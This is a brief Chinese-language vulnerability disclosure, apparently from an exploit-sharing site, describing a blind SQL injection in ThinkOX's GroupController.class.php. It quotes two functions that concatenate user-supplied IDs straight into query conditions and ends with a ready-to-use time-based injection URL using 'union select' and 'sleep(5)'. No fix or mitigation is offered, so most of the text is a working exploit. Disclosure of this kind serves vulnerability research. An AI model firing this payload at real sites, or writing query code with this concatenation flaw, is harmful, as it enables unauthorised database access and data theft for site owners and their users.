ThinkOX 最新版 SQL 注入（盲注）

/Application/Group/Controller/GroupController.class.php

protected function getNotice($group_id)     {         $notice = D('GroupNotice')->where('group_id=' . $group_id)->find();         $this->assign('notice', $notice);         return $notice;     }      protected function getGroupIdByPost($post_id)     {         $post = D('GroupPost')->where('id=' . $post_id)->find();         return $post['group_id'];   }  

这两处都是直接拼接的，导致调用这两处函数的地方存在注入。因为返回的只是group id，所以只能盲注。
Payload：

http://0day5.com/thinkox/index.php?s=/group/index/recommend/post_id/-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,sleep(5)%23.html